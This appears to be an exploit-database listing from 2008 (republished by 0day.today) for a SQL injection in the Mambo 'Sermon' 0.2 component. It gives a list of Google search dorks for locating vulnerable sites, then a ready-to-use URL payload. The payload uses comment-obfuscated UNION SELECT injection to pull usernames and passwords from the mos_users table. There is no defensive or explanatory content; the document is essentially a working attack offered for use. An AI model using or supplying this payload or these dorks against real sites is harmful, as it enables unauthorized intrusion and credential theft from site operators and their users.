Mambo Component Sermon 0.2 (gid) SQL Injection Vulnerability

2008-02-07T00:00:00
ID 1337DAY-ID-2611
Type zdt
Reporter [email protected]
Modified 2008-02-07T00:00:00

Description

Exploit for unknown platform in category web applications

                                        
                                            ============================================================
Mambo Component Sermon 0.2 (gid) SQL Injection Vulnerability
============================================================




#########################################################################
#
# DORKS 1 : allinurl:"com_na_content"
#
# DORK 2 : allinurl:"com_na_bible"
#
# DORKS 3 : allinurl:"com_na_events"
#
# DORKS 4 : allinurl:"com_na_content"
#
# DORKS 5 : allinurl:"com_na_feedback"
#
# DORKS 6 : allinurl:"com_na_mydocs"
#
# DORKS 7 : allinurl:"com_na_churchmap"
#
# DORKS 8 : allinurl:"com_na_bibleinfo"
#
# DORKS 9 : allinurl:"com_na_dbs"
#
# DORKS 10 : allinurl:"com_na_udm"
#
# DORKS 11 : allinurl:"com_na_qforms"
#
# DORKS 12 : allinurl:"com_na_gallery2"
#
# DORKS 13 : allinurl:"com_na_publicrss"
#
# DORKS 13 : allinurl:"index.php?kwd"
#
##########################################################################
EXPLOIT:

index.php?option=com_sermon&gid=-9999999%2F%2A%2A%2Funion%2F%2A%2A%2Fselect/**/concat(username,0x3a,password),0,0,username,password%2C0%2C0%2C0/**/from/**/mos_users/*





#  0day.today [2018-01-05]  #